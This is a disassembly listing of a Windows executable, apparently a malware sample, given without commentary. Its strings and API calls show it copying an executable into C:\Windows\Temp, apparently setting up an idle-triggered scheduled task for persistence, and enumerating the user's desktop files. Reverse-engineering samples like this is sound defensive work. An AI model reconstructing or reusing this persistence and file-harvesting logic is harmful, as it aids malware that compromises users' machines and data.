je 0x14000bb72
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x8b8]
test dword [rax - 0xfffff8], edi
adc eax, 0x101ffc
test dword [rax - 0xfffff8], edi
adc eax, 0x101ffc
jmp 0x14000bb72
mov rsi, rdx
lea rbx, [0x14016f768]
jmp 0x14000ccad
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14000d426
call fcn.140069ba0
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x14000d436
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x890]
cmp qword [rsi], 0
je 0x14000d468
mov r8, qword [rsi + 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [r14]
lea rbx, [0x14016f768]
jmp 0x14000bbd7
shl r9, 1
test r9, r9
je 0x14000bb72
jmp 0x14000d3ee
mov rsi, rdx
jmp 0x14000ccad
call qword [sym.imp.kernel32.dll_lstrlenW]
movsxd r8, eax
mov rdx, qword [rbp + 0x1d8]
lea rcx, [rbp + 0x510]
call fcn.1400d8450
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, qword [rbp + 0x510]
movdqu xmm0, xmmword [rbp + 0x518]
movdqa xmmword [rbp + 0x800], xmm0
mov rcx, qword [rbp + 0x528]
mov qword [rbp + 0x810], rcx
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000dc71
lea rax, str._nlibrary_std_src_rt.rs
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], rbx
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
lea rcx, [rbp + 0x510]
call fcn.1400dec40
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x48]
test rsi, rsi
jne 0x14000d56b
call fcn.14004ae70
test rax, rax
je 0x14000ffdc
mov rsi, qword [rax]
inc qword [rsi]
je 0x14001032f
lea rdi, [rsi + 0x10]
lea rbx, [rsi + 0x120]
mov rax, qword [rsi + 0x110]
jmp 0x14000d5b2
mov rcx, rbx
mov rdx, rdi
call fcn.140004210
xor ecx, ecx
lea rax, [rcx + 1]
test dword [rsi + rcx*4 + 0x10], 0x40000000
mov qword [rsi + 0x110], rax
je 0x14000d5eb
mov rcx, rax
cmp rax, 0x40
jb 0x14000d59d
mov rax, qword [rsi + 0x158]
test rax, rax
jle 0x14000d590
cmp qword [rsi + 0x160], 0
js 0x14000d590
add rax, 0xffffffffffffff00
mov qword [rsi + 0x158], rax
mov rcx, rbx
mov rdx, rdi
call fcn.14004b270
jmp 0x14000d59b
dec qword [rsi]
jne 0x14000d608
dec qword [rsi + 8]
jne 0x14000d608
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x360]
call fcn.140007070
mov rdi, qword [rbp + 0x360]
mov rsi, qword [rbp + 0x368]
cmp rdi, 3
je 0x14000fe87
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x1e8]
mov r8d, 0xb0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x1d8], rdi
mov qword [rbp + 0x1e0], rsi
lea rcx, [rbp + 0xa0]
lea rdi, [rbp + 0x1d8]
mov rdx, rdi
call fcn.1400072a0
mov rax, qword [rbp + 0xa0]
mov rsi, qword [rbp + 0xa8]
test rax, rax
je 0x14000fe87
movdqu xmm0, xmmword [rbp + 0xb0]
movdqu xmm1, xmmword [rbp + 0xc0]
movdqu xmmword [rbp + 0x7a0], xmm1
movdqu xmmword [rbp + 0x790], xmm0
mov qword [rbp + 0x780], rax
mov qword [rbp + 0x788], rsi
lea rcx, [rbp + 0x780]
call fcn.140009b90
test rax, rax
je 0x14000fec8
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x360]
call fcn.140019280
cmp byte [rbp + 0x360], 0
jne 0x14000fed4
mov ecx, 3
call fcn.1400d6700
lea rcx, [rbp + 0x360]
call fcn.140007070
mov rbx, qword [rbp + 0x360]
mov rsi, qword [rbp + 0x368]
cmp rbx, 3
je 0x14000fe7b
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x520]
mov r8d, 0xb0
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], rsi
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x510]
call fcn.1400072a0
mov rax, qword [rbp + 0xa0]
mov rsi, qword [rbp + 0xa8]
test rax, rax
je 0x14000fe7b
movdqu xmm0, xmmword [rbp + 0xb0]
movdqu xmm1, xmmword [rbp + 0xc0]
movdqu xmmword [rbp + 0x820], xmm1
movdqu xmmword [rbp + 0x810], xmm0
mov qword [rbp + 0x800], rax
mov qword [rbp + 0x808], rsi
lea rcx, [rbp + 0x800]
call fcn.140009b90
test rax, rax
je 0x14000feea
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x360]
call fcn.140019280
cmp byte [rbp + 0x360], 0
jne 0x14000fef6
lea rsi, [rbp + 0x800]
mov rcx, rsi
call fcn.140002250
lea rcx, [rbp + 0x780]
call fcn.140002250
lea rcx, [rbp + 0x510]
call fcn.1400db020
mov r13, qword [rbp + 0x510]
mov r15, qword [rbp + 0x518]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x14000d849
mov r12, qword [rbp + 0x520]
lea rcx, str.C:WindowsTempFailed_to_extract_file_nameCopied_executable_to:_Z
mov edx, 0xf
call fcn.1400dc830
mov rbx, rax
test rax, rax
je 0x14000de72
test r13, r13
je 0x14000d846
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, rbx
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x14000d89c
lea rdi, [r15 - 1]
mov rbx, qword [r15 - 1]
mov r14, qword [r15 + 7]
mov rcx, rbx
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14000d88a
cmp qword [r14 + 0x10], 0x11
jb 0x14000d878
mov rbx, qword [rbx - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.idletrigger
mov qword [rbp + 0x510], rax
lea rax, [0x14011029b]
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rbx, [rbp + 0x1d8]
lea rdx, [rbp + 0x510]
mov rcx, rbx
call fcn.140100db0
mov r14, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
test rdx, rdx
je 0x14000dc31
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rdi, rax
cmp qword [rbp + 0x1d8], 0
je 0x14000d916
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x800], 0xb4
mov qword [rbp + 0x1d8], rsi
lea r12, [fcn.140012c90]
mov qword [rbp + 0x1e0], r12
lea r13, [0x14016f9c8]
mov qword [rbp + 0x510], r13
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rbx
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x780]
lea rdx, [rbp + 0x510]
call fcn.140010f10
mov r15, qword [rbp + 0x788]
mov rax, qword [rbp + 0x790]
add rax, r15
mov qword [rbp + 0x510], r15
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rdx, [rbp + 0x510]
mov rcx, rbx
call fcn.140100db0
mov r14, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
test rdx, rdx
je 0x14000dc46
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rsi, rax
cmp qword [rbp + 0x1d8], 0
je 0x14000d9f5
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x780], 0
je 0x14000da11
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x330], 0x258
lea rax, [rbp + 0x330]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x510], r13
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rbx
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140010f10
mov rbx, qword [rbp + 0x808]
mov rax, qword [rbp + 0x810]
add rax, rbx
mov qword [rbp + 0x510], rbx
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x1d8]
lea rdx, [rbp + 0x510]
call fcn.140100db0
mov r14, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1e8]
test rdx, rdx
je 0x14000dc5b
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r15, rax
cmp qword [rbp + 0x1d8], 0
je 0x14000daed
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x800], 0
je 0x14000db09
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rsi
mov word [rbp + 0xb8], 1
mov qword [rbp + 0xb0], r15
lea rcx, [rbp + 0x510]
call fcn.1400db020
mov r14, qword [rbp + 0x510]
movabs rax, 0x8000000000000000
cmp r14, rax
je 0x14000ff2e
mov rsi, qword [rbp + 0x518]
mov rdx, qword [rbp + 0x520]
mov rcx, rsi
call fcn.1400df810
test rax, rax
je 0x14000ff67
mov rdi, rax
mov r13, rdx
test rdx, rdx
je 0x14000e716
mov r15, r13
add r15, rdi
xor r12d, r12d
mov rcx, rdi
jmp 0x14000dbaf
add rcx, 2
cmp rax, r15
cmovne rax, rcx
mov edx, 2
nop dword [rax]
add r12, rdx
mov rcx, rax
cmp rax, r15
je 0x14000e716
lea rax, [rcx + 1]
movzx r8d, byte [rcx]
mov edx, 1
test r8b, r8b
jns 0x14000dba0
cmp r8b, 0xe0
jb 0x14000db89
cmp r8b, 0xed
jne 0x14000dbfb
cmp rax, r15
je 0x14000e716
lea rax, [rcx + 2]
cmp rax, r15
je 0x14000e716
cmp byte [rcx + 1], 0x9f
ja 0x14000dfc6
add rcx, 3
mov edx, 3
mov rax, rcx
jmp 0x14000dba0
add rcx, 2
cmp rax, r15
cmove rcx, rax
xor eax, eax
cmp rcx, r15
setne al
add rax, rcx
mov edx, 3
cmp r8b, 0xf0
jb 0x14000dba0
xor ecx, ecx
cmp rax, r15
setne cl
add rax, rcx
mov edx, 4
jmp 0x14000dba0
xor edi, edi
cmp qword [rbp + 0x1d8], 0
jne 0x14000d904
jmp 0x14000d916
xor esi, esi
cmp qword [rbp + 0x1d8], 0
jne 0x14000d9e3
jmp 0x14000d9f5
xor r15d, r15d
cmp qword [rbp + 0x1d8], 0
jne 0x14000dadb
jmp 0x14000daed
mov qword [rbp + 0x360], rax
movdqa xmm0, xmmword [rbp + 0x800]
movdqu xmmword [rbp + 0x368], xmm0
mov rax, qword [rbp + 0x810]
mov qword [rbp + 0x378], rax
lea rdx, [0x14011039e]
lea rcx, [rbp + 0x360]
mov r8d, 7
call case.0x1400b5866.862
mov rdx, qword [rbp + 0x368]
mov r8, qword [rbp + 0x370]
lea rcx, [rbp + 0x510]
call fcn.1400142e0
cmp qword [rbp + 0x510], 0
jne 0x1400101ef
mov r12, qword [rbp + 0x520]
test r12, r12
je 0x14000dee9
js 0x14000ffd7
mov rsi, qword [rbp + 0x518]
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r12
call fcn.1400e0010
test rax, rax
je 0x1400101fb
mov qword [rbp + 0x8d8], rax
mov rcx, rax
mov rdx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r12
call fcn.1400e0010
test rax, rax
je 0x140010208
mov rdi, rax
mov rcx, rax
mov rdx, rsi
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x510], r12
mov qword [rbp + 0x518], rdi
mov qword [rbp + 0x520], r12
mov byte [rbp + 0x528], 0
lea rdx, [0x1401471e0]
lea rcx, [rbp + 0x510]
mov r8d, 1
call case.0x1400b5866.862
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x8c8], rax
mov rdx, qword [rbp + 0x518]
mov r8, qword [rbp + 0x520]
mov byte [rbp + 0x8e5], 1
lea rcx, [rbp + 0x1d8]
mov qword [rbp + 0x8b0], rdx
call fcn.1400d6140
mov rax, qword [rbp + 0x1d8]
mov r13, qword [rbp + 0x1e0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000de2d
mov rcx, qword [rbp + 0x1e8]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], r13
mov qword [rbp + 0x520], rcx
mov byte [rbp + 0x8e5], 1
lea rcx, [rbp + 0xa0]
lea rdx, [rbp + 0x510]
call fcn.1400db520
mov rsi, qword [rbp + 0xa0]
mov r13, qword [rbp + 0xa8]
movabs rax, 0x8000000000000000
cmp rsi, rax
jne 0x14000e2b4
cmp qword [rbp + 0x8c8], 0
lea rsi, [rbp + 0xa0]
mov rdi, qword [rbp + 0x8d8]
je 0x14000de5b
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x8b0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000defa
mov rcx, r15
mov rdx, r12
call fcn.1400df810
test rax, rax
je 0x14000dfb9
mov r8, rdx
lea r14, [rbp + 0x360]
mov rcx, r14
mov rdx, rax
call fcn.1400df920
mov r8, qword [rbp + 0x368]
mov r9, qword [rbp + 0x370]
mov rcx, r15
mov rdx, r12
call fcn.1400e3d90
test rax, rax
je 0x14000e20f
mov rbx, rdx
cmp qword [rbp + 0x360], 0
je 0x14000d82f
mov r8, qword [rbp + 0x368]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d82f
movabs r13, 0x300000002
lea rsi, [rbp + 0xa0]
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0x1d8], rsi
lea rax, [fcn.1400da7b0]
mov qword [rbp + 0x1e0], rax
lea rax, str.Unable_to_read_the_users_desktop_file_list:
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], r15
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400dec40
mov rax, qword [rbp + 0xa0]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14000e621
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000dfa2
cmp qword [rbx + 0x10], 0x11
jb 0x14000df90
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000e621
call fcn.1400020d0
mov rbx, rax
jmp 0x14000d82f
test r13, r13
js 0x14000ffd7
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r13
call fcn.1400e0010
test rax, rax
je 0x14001000f
mov qword [rbp + 0x510], r13
mov qword [rbp + 0x518], rax
mov rbx, r13
sub rbx, r12
jb 0x14001023f
mov rcx, rax
mov rdx, rdi
mov r8, r12
mov qword [rbp + 0x8d8], rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, qword [rbp + 0x8d8]
mov qword [rbp + 0x520], r12
mov r10, r12
cmp rbx, 2
ja 0x14000e052
lea rcx, [rbp + 0x510]
mov r8d, 3
mov rdx, r12
call fcn.14010c590
mov rcx, qword [rbp + 0x518]
mov r10, qword [rbp + 0x520]
lea rax, [rcx + r10]
lea r11, [rbp + 0x510]
mov byte [rax + 2], 0xbd
mov word [rax], 0xbfef
add r10, 3
mov qword [rbp + 0x520], r10
mov rbx, r12
add rbx, 3
cmp rbx, r13
ja 0x140010228
je 0x14000e6ad
lea r9, [rdi + rbx]
mov r12, rbx
mov qword [rbp + 0x8c0], r9
jmp 0x14000e0b6
add r9, 2
cmp rax, r15
cmovne rax, r9
mov edx, 2
add r12, rdx
mov r9, rax
cmp rax, r15
je 0x14000e6b0
lea rax, [r9 + 1]
movzx r8d, byte [r9]
mov edx, 1
test r8b, r8b
jns 0x14000e0a7
cmp r8b, 0xe0
jb 0x14000e097
cmp r8b, 0xed
jne 0x14000e0ff
cmp rax, r15
je 0x14000e6b0
lea rax, [r9 + 2]
cmp rax, r15
je 0x14000e6b0
cmp byte [r9 + 1], 0x9f
ja 0x14000e135
add r9, 3
mov edx, 3
mov rax, r9
jmp 0x14000e0a7
add r9, 2
cmp rax, r15
cmove r9, rax
xor eax, eax
cmp r9, r15
setne al
add rax, r9
mov edx, 3
cmp r8b, 0xf0
jb 0x14000e0a7
xor edx, edx
cmp rax, r15
setne dl
add rax, rdx
mov edx, 4
jmp 0x14000e0a7
mov r8, r12
sub r8, rbx
jb 0x140010309
cmp r12, r13
ja 0x14001031d
mov rdx, qword [rbp + 0x510]
mov rax, rdx
sub rax, r10
cmp rax, r8
jae 0x14000e18b
mov rcx, r11
mov rdx, r10
mov rbx, r8
call fcn.14010c590
mov r10, qword [rbp + 0x520]
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x8b0], rax
mov rcx, qword [rbp + 0x518]
mov r8, rbx
jmp 0x14000e192
mov qword [rbp + 0x8b0], rdx
mov qword [rbp + 0x8c8], r10
mov qword [rbp + 0x8d8], rcx
add rcx, r10
mov rdx, qword [rbp + 0x8c0]
mov rbx, r8
call sub.VCRUNTIME140.dll_memcpy
mov r10, qword [rbp + 0x8c8]
add r10, rbx
mov qword [rbp + 0x520], r10
mov rax, qword [rbp + 0x8b0]
sub rax, r10
cmp rax, 2
ja 0x14000e1f8
mov r8d, 3
lea rcx, [rbp + 0x510]
mov rdx, r10
call fcn.14010c590
mov rcx, qword [rbp + 0x518]
mov r10, qword [rbp + 0x520]
jmp 0x14000e1ff
mov rcx, qword [rbp + 0x8d8]
lea r11, [rbp + 0x510]
lea rax, [rcx + r10]
jmp 0x14000e05d
mov qword [rbp + 0x1d8], r14
lea rax, [0x1400da980]
mov qword [rbp + 0x1e0], rax
lea rax, [0x140110270]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rdi
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400de9c0
cmp qword [rbp + 0x360], 0
je 0x14000e286
mov r8, qword [rbp + 0x368]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x14000e29d
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
xor r15d, r15d
mov eax, r15d
and eax, 3
cmp eax, 1
je 0x14000d854
jmp 0x14000d89c
lea rbx, [rbp + 0x510]
mov r8d, 0x250
mov rcx, rbx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, r13
mov rdx, rbx
call qword [sym.imp.kernel32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x14000e37c
mov qword [rbp + 0x8a0], rsi
mov qword [rbp + 0x8a8], rax
movzx eax, byte [0x14017d2b0]
mov edx, 0x30
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400102d2
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r12
mov rax, qword [rbp + 0x8d8]
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], r12
mov byte [r15 + 0x28], 0
mov rax, qword [rbp + 0x510]
mov qword [rbp + 0x8c0], rax
movzx r14d, word [rbp + 0x53c]
movzx esi, word [rbp + 0x53e]
movzx edi, word [rbp + 0x540]
cmp qword [rbp + 0x8a0], 0
je 0x14000e375
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov ebx, 1
jmp 0x14000e3f5
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
jne 0x14000e64a
movzx eax, byte [0x14017d2b0]
mov edx, 0x30
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400102ea
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r12
mov rax, qword [rbp + 0x8d8]
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], r12
mov byte [r15 + 0x28], 0
test rsi, rsi
je 0x14000e3e8
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebx, ebx
mov qword [rbp + 0x8a8], 0xffffffffffffffff
cmp qword [rbp + 0x8c8], 0
je 0x14000e415
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x8b0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r14w, 0x2e
sete al
test si, si
sete cl
xor esi, 0x2e
or si, di
sete dl
or dl, cl
and dl, al
mov byte [rbp + 0x8d8], dl
lea r12, [rbp + 0x510]
mov r14, qword [sym.imp.kernel32.dll_FindNextFileW]
xor edi, edi
jmp 0x14000e474
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
dec r13
mov rcx, qword [0x14017d208]
xor ebx, ebx
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, rsi
mov rsi, qword [rbp + 0x8a8]
cmp rsi, 0xffffffffffffffff
je 0x14000e59c
cmp ebx, 1
setne al
or al, byte [rbp + 0x8d8]
je 0x14000e529
mov r8d, 0x250
mov rcx, r12
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rcx, rsi
mov rdx, r12
call r14
test eax, eax
mov rbx, qword [sym.imp.kernel32.dll_GetLastError]
jne 0x14000e4ed
call rbx
cmp eax, 0x12
je 0x14000e59e
call rbx
mov r13d, eax
shl r13, 0x20
or r13, 2
xor ecx, ecx
jmp 0x14000e53d
mov rcx, rsi
mov rdx, r12
call r14
test eax, eax
je 0x14000e4bb
cmp word [rbp + 0x53c], 0x2e
jne 0x14000e513
movzx eax, word [rbp + 0x53e]
test ax, ax
je 0x14000e4e0
cmp ax, 0x2e
jne 0x14000e513
cmp word [rbp + 0x540], 0
je 0x14000e4e0
lock inc qword [r15]
jle 0x14001032f
mov r13, qword [rbp + 0x510]
mov rcx, r15
jmp 0x14000e53d
lock inc qword [r15]
mov rcx, r15
mov r13, qword [rbp + 0x8c0]
jle 0x14001032f
inc rdi
test rcx, rcx
je 0x14000e55b
xor ebx, ebx
lock dec qword [rcx]
jne 0x14000e47b
call fcn.140004ac0
jmp 0x14000e47b
mov eax, r13d
and eax, 3
xor ebx, ebx
cmp eax, 1
jne 0x14000e47b
mov rsi, r15
mov rbx, qword [r13 - 1]
mov r15, qword [r13 + 7]
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x14000e45a
cmp qword [r15 + 0x10], 0x11
jb 0x14000e448
mov rbx, qword [rbx - 8]
jmp 0x14000e448
xor edi, edi
mov rcx, rsi
call qword [sym.imp.kernel32.dll_FindClose]
lock dec qword [r15]
lea rsi, [rbp + 0x1d8]
jne 0x14000e5bc
mov rcx, r15
call fcn.140004ac0
mov qword [rbp + 0xa0], rdi
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x1d8], rax
lea rax, [fcn.140012c90]
mov qword [rbp + 0x1e0], rax
lea rax, [0x1401103c0]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rsi
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400de9c0
cmp qword [rbp + 0x360], 0
je 0x14000d53b
mov r8, qword [rbp + 0x368]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d53b
mov ebx, eax
shl rbx, 0x20
test rsi, rsi
je 0x14000e667
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
or rbx, 2
mov r13, rbx
cmp qword [rbp + 0x8c8], 0
lea rsi, [rbp + 0xa0]
mov rdi, qword [rbp + 0x8d8]
jne 0x14000de45
jmp 0x14000de5b
mov ecx, 8
mov edx, 0x70
call fcn.140104380
mov ecx, 1
mov edx, 1
call fcn.140104380
mov rbx, r13
sub r13, rbx
mov rax, qword [rbp + 0x510]
sub rax, r10
cmp rax, r13
jae 0x14000e6e2
lea rcx, [rbp + 0x510]
mov rdx, r10
mov r8, r13
call fcn.14010c590
mov rcx, qword [rbp + 0x518]
mov r10, qword [rbp + 0x520]
add rdi, rbx
add rcx, r10
mov rdx, rdi
mov r8, r13
mov rdi, r10
call sub.VCRUNTIME140.dll_memcpy
add r13, rdi
mov rax, qword [rbp + 0x510]
mov rdi, qword [rbp + 0x518]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000e759
test r13, r13
je 0x14000e740
js 0x14000ffd7
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r13
call fcn.1400e0010
test rax, rax
je 0x14001000f
mov rbx, rax
jmp 0x14000e745
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov rax, r13
mov rdi, rbx
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], rdi
mov qword [rbp + 0x4f0], r13
test r14, r14
je 0x14000e785
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x780], rax
lea rax, [0x140006d30]
mov qword [rbp + 0x788], rax
lea rax, [0x1401102e8]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x530], 0
lea rax, [rbp + 0x780]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140010f10
mov rax, qword [rbp + 0x800]
mov qword [rbp + 0x8d8], rax
mov rsi, qword [rbp + 0x808]
mov r14, qword [rbp + 0x810]
lea rax, str.actionC:WindowsTemp_
mov qword [rbp + 0x510], rax
lea rax, [0x1401102d6]
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140100db0
mov rbx, qword [rbp + 0x808]
mov rdx, qword [rbp + 0x810]
test rdx, rdx
je 0x14000ebdc
mov rcx, rbx
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rdi, rax
cmp qword [rbp + 0x800], 0
je 0x14000e884
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
add r14, rsi
mov qword [rbp + 0x510], rsi
mov qword [rbp + 0x518], r14
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140100db0
mov rbx, qword [rbp + 0x808]
mov rdx, qword [rbp + 0x810]
test rdx, rdx
je 0x14000ebf1
mov rcx, rbx
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r15, rax
cmp qword [rbp + 0x800], 0
je 0x14000e8f0
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14016f768]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140100db0
mov r14, qword [rbp + 0x808]
mov rdx, qword [rbp + 0x810]
test rdx, rdx
je 0x14000ec07
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rbx, rax
cmp qword [rbp + 0x800], 0
je 0x14000e960
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x14016f768]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x800]
lea r12, [rbp + 0x510]
mov rdx, r12
call fcn.140100db0
mov r14, qword [rbp + 0x808]
mov rdx, qword [rbp + 0x810]
test rdx, rdx
je 0x14000ec1c
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r13, rax
